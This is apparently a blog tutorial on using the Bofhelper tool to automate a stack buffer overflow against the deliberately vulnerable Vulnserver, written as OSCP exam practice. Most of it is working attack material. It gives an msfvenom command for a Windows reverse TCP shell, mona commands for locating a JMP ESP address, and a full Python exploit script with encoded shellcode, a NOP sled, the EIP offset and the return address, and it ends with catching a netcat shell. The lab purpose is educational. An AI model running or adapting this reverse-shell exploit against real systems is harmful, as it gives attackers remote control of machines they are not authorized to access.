Select Page

This is the Automate Buffer Overflow Exploitation with Bofhelper post in which I demonstrate the use of this incredible ethical hacking tool. Buffer overflows take time, too much time.

Not just that, they also are difficult. Finding which characters have to be excluded is a tricky process. Once you get the hang of the process overall it is generally pretty straight-forward. That means that you can pretty much establish a strategy and from that create a template.

This has never really been done before and that is why I am excited to try out https://github.com/LegendBegins/Overflow-Helper which is an automation tool designed to make the buffer overflow process easier.

This tool was designed with the OSCP exam in mind and so too was this article. Too often security tutorials rely on Meterpreter for an easy exploit path. I’ll not use it and show how this can be done another way. Read on!

Not sure about Buffer Overflows or where to begin? Read my article that breaks it down in easy steps here.

Here’s What You Need

  • Bofhelper.py get it here.
  • Windows 10 Virtual Machine ( VirtualBox )
  • Kali Linux Virtual Machine ( VirtualBox )
  • Immunity Debugger get it here.
  • Mona script get it here.

Lab Setup

Step One: Install Immunity Debugger

Step Two: Install Mona

Move mona.py into the PyCommands folder found in the Immunity Debugger folder. On my VM it was under Program Files x86. But one thing is clear you need the vulnserver.exe and the essfunc.dll file in the same directory to run the application correctly.

Step Three: Start Vulnserver

Vulnserver.exe 1234

Step Four: Start Immunity Debugger and Attach to Vulnserver

Bofhelper

On the Kali Linux machine run bofhelper.py with the prefix flag (-p) and the bad character detection flag (-b) to get started. Also I throw in the output file to write the overflow steps into a script with the output flag (-o). This is another reason why this tool is so great, because even if the exploit fails for some reason the steps you make it to are written to a script that can be modified itself.

python bofhelper.py 192.156.56.109 1234 -p 'TRUN .' -b -o boscript.py

Here is an overview of the process of using bofhelper:

  • Start vulnserver.
  • Attach Immunity to running service.
  • Start Bofhelper.py -p -b -o {script name} to crash the service.
  • Restart vulnserver.exe and hit enter in Kali, put in the EIP address.
  • Restart vulnserver and reattach ID to running service.
  • Press enter on CLI on Kali machine to continue Bofhelper.py
  • Bofhelper sends bad character list.
  • Restart both again.
  • Paste in hex dump output in Kali to continue.
  • Bad characters are announced if they exist.
  • Restart both or -q to stop bad character detection.
  • Enter a command for the payload. Continue.
  • Start a netcat listener and get a shell back.

Here is the same overview in command format.

Insert payload before or after overflow? (b/a)
>> a
Please specify an address to jump to (Big Endian)
JMP: 625011af
Exploit ready. Launch? (y/n)
Please restart the vulnerable application and your debugger. Press enter to continue

(-) Generating unique pattern to obtain exact offset
Service crashed. Please enter the value shown in the EIP exactly as it appears (Big Endian)
EIP: 396F4338
(-) Locating offset of EIP on the stack
(*) Exact match at offset 2006 (does not include the prefix)
(-) Beginning bad character detection.

Please restart the vulnerable service and your debugger. Press enter to continue

(-) Assuming \x00, \x0a, and \x0d are bad characters
(-) Sending character list

Please open your debugger and copy/paste the dump output from the beginning of the stack to least 256 bytes. Enter 2 newlines to stop or 'q' to terminate bad character detection.
00403000  FF FF FF FF 00 40 00 00  ÿÿÿÿ.@..
00403008  70 2E 40 00 00 00 00 00  p.@.....
00403010  FF FF FF FF 00 00 00 00  ÿÿÿÿ....
00403018  FF FF FF FF 00 00 00 00  ÿÿÿÿ....
00403020  FF FF FF FF 00 00 00 00  ÿÿÿÿ....
00403028  00 00 00 00 00 00 00 00  ........
00403030  00 00 00 00 00 00 00 00  ........

00403230  00 00 00 00 00 00 00 00  ........
00403238  00 00 00 00 00 00 00 00  ........

(-) Detecting bad characters
(*) Found bad character: 

Please enter the full command of the msf payload you would like to generate
Command: msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -i 3 -f py
(-) Generating payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai succeeded with size 378 (iteration=1)
x86/shikata_ga_nai succeeded with size 405 (iteration=2)
x86/shikata_ga_nai chosen with final size 405
Payload size: 405 bytes
Final size of py file: 1983 bytes
Insert payload before or after overflow? (b/a)
>> a
Please specify an address to jump to (Big Endian)
JMP: 625011af
(-) Generating output file (modify and run exploit from that file to debug)
Exploit ready. Launch? (y/n)
>> y
(-) Sending exploit
(*) Exploit Sent!
(*) Script Complete.

Automation Buffer Overflow with Bofhelper

Of the available commands to vulnserver I am using the TRUN command. The trick with that is needing to use a little extra detail, “TRUN .” in order for it work. Regarding bofhelper this is the same conceptually only it means using the prefix option and supplying the TRUN command.

Buffer Overflow

Basically the logic is:

  • Overflow to find the number of bytes needed to overflow the buffer.
  • Find the exact location of the overwritten instruction pointer.
  • Send enough bytes to reach the instruction pointer then use a JMP ESP address to overwrite it with instructing the program to execute at the location of the shell code.
  • Send exploit and get a shell back.

So the first step of a buffer overflow is to *drumroll* overflow the buffer and crash the service. Crashing a service is the reason why you need to have a copy of the software you are trying against. That way you can restart it over and over again as I do in the next steps.

Nothing game-changing about this step, but bofhelper is very efficient at it. I have seen many different iterations of buffer overflow scripts and I really like this one. Bofhelper goes over a loop supplying bytes of “A” characters to vulnserver repeatedly until it crashes. Crashes or pauses in Immunity.

See the “A”s in the ESP register now? 0x41414141 which is the ASCII equivalent of “A”

At this point I could be using the builtin ruby script in Kali, pattern_offset, to find the exact location in the pattern of the 4 bytes that overflow the instruction pointer. But bohelper automates that too!

The service crashes and now we locate the memory address ( Big Endian )
The service crashes and now we locate the memory address ( Big Endian )

The ESP register is overwritten with the custom pattern string as you can see. This means it worked and now the thing to do is give bofhelper the memory address for the EIP register.

Step bofhelper replaces: creating and sending a unique pattern string to identify the EIP memory address. This is done with Ruby in Kali Linux usually.

Bad Character Detection

Some characters don’t render well and end up botching the entire exploit. It sucks to narrow down these and guess what, bohelper automates this process too. Nice!

Step bofhelper replaces: bad char detection

bofhelper sends a bad character list to test them
bofhelper sends a bad character list to test them
Automate Buffer Overflow Exploitation - copy the hex dump and paste it into Kali
Automate Buffer Overflow Exploitation – copy the hex dump and paste it into Kali

Pasting the results and reviewing the output I don’t see any bad characters detected. Now I could repeat this step, meaning restart the service and try again, but I know from experience the only bad character I have used is null byte \x00 and that works just fine. Haven’t exploited Vulnserver before? Read my post quickly! Or continue on I explain each step of the process here as well.

no bad characters detected which is true the only one I use is null byte \x00
no bad characters detected which is true for Vulnserver the only one I use is null byte \x00

This is the Msfvenom command that I used.

msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 EXITFUNC=thread -b '\x00' -e x86/shikata_ga_nai -i 3 -f py

The “\x00” parameter means don’t include any null bytes as these may disrupt the exploit.

Step bofhelper replaces: doesn’t exactly replace this step but you enter a payload generation command inline making it easier.

Finding the Right Jmp Address

Now that we can hijack the flow control of the program by overwriting the value of the instruction pointer we need to instruct the program to execute shellcode.

Looking at the loaded modules in Immunity, nt.dll is possible but conceptually essfunc.dll is a better fit as it does not have memory protection at all.

Since Immunity on Windows 10 will not let me do a right click > search for commands > search in all modules by default I will have to do it the harder way.

# List all the modules
!mona modules

Issue this command to list all the modules with jmp esp.

!mona jmp -r esp

The next step is finding the op code equivalent of JMP ESP.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
FFE4 jmp esp

Now this in Little Endian is “\xff\x\e4”. The address will be read from the bottom ( higher memory location ) towards the top of the stack ( lower memory location ) so we have it in reverse here.

# find the address
!mona find -s “\xff\xe4” -m essfunc.dll

Output Script

I take a moment out to look at the exported exploit script. Surprise it’s all of the steps so far in a freaking script, all done for us!

#!/usr/bin/python
import socket
buf =  b""
buf += b"\xda\xdd\xb8\x25\xad\xc0\xf6\xd9\x74\x24\xf4\x5d\x2b"
buf += b"\xc9\xb1\x5f\x31\x45\x19\x03\x45\x19\x83\xed\xfc\xc7"
buf += b"\x58\x7e\xef\x94\xe2\xd4\xca\x4e\x3d\x5e\xcf\x9a\xe5"
buf += b"\xae\xc6\xd3\x42\xe0\xab\x06\x70\x71\x59\xab\x9d\x89"
buf += b"\x83\x47\x29\xf8\x57\x3e\x54\x74\x22\x2c\xdd\x32\x4c"
buf += b"\x79\x59\x43\x97\x3a\xf5\x78\x2b\x84\xe1\xb9\x05\xae"
buf += b"\x0c\xe9\xb7\xfa\x7d\x20\x2a\x5c\x65\x55\xf9\xfd\x2d"
buf += b"\x7f\x47\x1c\xf6\x6f\x9c\x3b\xb6\x45\xd2\x9a\xe1\xc4"
buf += b"\x1f\x0e\xb5\xbe\x08\x80\xf0\xac\x9b\x0f\x29\x8d\x83"
buf += b"\x39\x1e\x52\x6c\x51\x44\xef\x02\x91\xec\x1a\x93\xf1"
buf += b"\xfa\xf6\x6b\x4a\xff\x76\x04\x1f\xcd\x84\xf7\x83\x72"
buf += b"\x85\xf7\x47\x03\x06\xcd\x8f\x3d\x62\x72\xe4\xbf\x8f"
buf += b"\x2c\x04\x5e\xda\x04\x20\x8e\xfd\x75\x15\x17\xa0\x1c"
buf += b"\x37\x09\x96\xa9\xd7\x7b\x57\x39\xd9\xba\xf5\x5b\x59"
buf += b"\xce\x2e\x7a\x30\xe8\x36\x76\x1e\x21\x74\x62\x26\x61"
buf += b"\xf3\x40\xca\xd3\x91\xff\xd2\xae\x26\xd4\x2f\x82\xe5"
buf += b"\xae\x87\x5a\xb3\x40\xdb\x42\x9d\x7d\x8e\x4b\xf5\x99"
buf += b"\x80\xf6\x22\xa2\xe4\xd4\xc9\x2d\x44\xd5\xd6\x37\x6b"
buf += b"\xd6\x18\x50\xd3\xce\x9b\x5f\x4b\x14\xf1\xe3\x5f\x19"
buf += b"\xfa\xaf\xcb\x70\x93\xe3\x57\xa6\x27\x6e\xb3\xa0\xf8"
buf += b"\xd4\xf5\xe3\xb3\x9a\x92\x3e\x53\x1d\xeb\x43\xfe\x55"
buf += b"\xaa\x2b\xf9\x2f\x0f\x95\xae\xa2\xc4\xc0\xff\xa6\xca"
buf += b"\x5d\xe1\x07\x5b\xd6\x4e\x82\x74\xcc\x7b\xfd\x26\xd8"
buf += b"\xa0\x50\x33\xba\xaa\xcb\xb7\xab\xb6\xea\x08\x51\xa6"
buf += b"\x5f\x08\x48\xf5\xc9\x12\xa3\xe5\xcc\xbe\x04\x08\x87"
buf += b"\x26\x21\x46\xd7\x3e\x71\xbf\x6e\x0f\xb9\xf6\x0b\x87"
buf += b"\x85\x02\x1b\xa0\x28\x6b\x64\x82\x2b\x7a\xb4\x6d\xc9"
buf += b"\xb0\x07\xc7\x1c\x55\x9b\x48\xd3\x18\x63\x8e\x2c\xbe"
buf += b"\xe4\xe0\x75\x44\xd9\xe3\x65\x63\x05\x4c\x80\xc8\x1b"
buf += b"\x4d\xa2\x79\x0e\x07\x8f\x44\x20\x4b\xc1\xf7\x9b\x33"
buf += b"\x62\x33\xaa\xee\xa2\xcf\x36\x9b\x11\x15\x09\xb0\x7e"
buf += b"\xc9\x24"
buf = "\x90"*16 + buf
exploit = "TRUN ." + "A"*2006 + "\xaf\x11\x50\x62" + buf + ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "(-)Sending exploit..."
s.connect(("192.168.56.110",777))
data=s.recv(1024)
print data
s.send(exploit)
s.close()

Notice how even the little details are all taken care of automatically. For instance look at the NOP-sled variable. Basically a NOP-sled is used to move the program flow from one memory address to the next. It allows for smooth execution flow for us.

Exploit

The fun part! Lastly bofhelper sends the exploit code and I get a shell back.

exploit is sent. all done

Start a netcat listener and get a shell back. Shell is all mine. What an incredible tool. This saves a huge amount of time and I can hope improvements-to-come will make it nearly perfect.

Automate Buffer Overflow Exploitation - got a shell opened on the WIN10
Automate Buffer Overflow Exploitation – got a shell opened on the WIN10

FAQ

Q. My exploit did not work, what happened?

A. Check that your payload is correct. Run the payload command in a separate terminal and make sure it completes. Now go back to through the steps again.

error: